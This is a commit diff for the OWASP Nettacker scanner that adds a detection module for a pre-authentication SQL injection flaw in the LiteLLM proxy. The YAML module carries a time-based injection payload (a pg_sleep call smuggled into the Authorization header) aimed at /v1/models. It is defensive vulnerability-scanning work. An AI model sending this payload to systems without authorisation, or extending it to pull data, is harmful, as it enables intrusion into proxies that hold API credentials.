feat: add litellm cve-2026-42208 detection module

Author: Franc-Zar

docs/Modules.md

@@ -212,6 +212,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
 - '**ivanti_ics_cve_2023_46805_vuln**' – check the target for Ivanti ICS CVE-2023-46805 vulnerability
 - '**joomla_cve_2023_23752_vuln**' – check the target for Joomla CVE-2023-23752 information disclosure
 - '**justwriting_cve_2021_41878_vuln**' – check the target for JustWriting CVE-2021-41878
+- '**litellm_cve_2026_42208_vuln**' - check the target for LiteLLM CVE-2026-42208 SQL injection vulnerability
 - '**log4j_cve_2021_44228_vuln**' – check the target for Log4Shell CVE-2021-44228 vulnerability
 - '**maxsite_cms_cve_2021_35265_vuln**' – check the target for MaxSite CMS CVE-2021-35265
 - '**memos_cve_2025_22952_ssrf_vuln**' – check vulnerable Memos markdown metadata endpoint CVE-2025-22952

nettacker/modules/vuln/litellm_cve_2026_42208.yaml

@@ -0,0 +1,57 @@
+info:
+  name: litellm_cve_2026_42208_vuln
+  author: OWASP Nettacker Team
+  severity: 9.8
+  description: >
+    LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format.
+    From version 1.81.16 to before version 1.83.7, a database query used during proxy API key
+    checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter.
+    An unauthenticated attacker could send a specially crafted Authorization header to any LLM API route
+    (for example GET /v1/models) and reach this query through the proxy's error-handling path.
+    An attacker could read data from the proxy's database and may be able to modify it, leading to unauthorised
+    access to the proxy and the credentials it manages. This issue has been patched in version 1.83.7.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-42208
+    - https://bishopfox.com/blog/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy
+    - https://www.sysdig.com/blog/cve-2026-42208-targeted-sql-injection-against-litellms-authentication-path-discovered-36-hours-following-vulnerability-disclosure
+  profiles:
+    - vuln
+    - http
+    - critical_severity
+    - cve
+    - cve2026
+    - sqli
+    - litellm
+    - cisa_kev
+
+payloads:
+  - library: http
+    steps:
+      - method: get
+        timeout: 15
+        headers:
+          User-Agent: "{user_agent}"
+          Authorization: "Bearer ' OR (SELECT pg_sleep(6)) IS NULL --"
+        ssl: false
+        allow_redirects: false
+        url:
+          nettacker_fuzzer:
+            input_format: "{{schema}}://{target}:{{ports}}/v1/models"
+            prefix: ""
+            suffix: ""
+            interceptors:
+            data:
+              schema:
+                - "http"
+                - "https"
+              ports:
+                - 4000
+                - 80
+                - 443
+        response:
+          condition_type: and
+          conditions:
+            status_code:
+              regex: "401"
+              reverse: false
+            responsetime: ">= 6"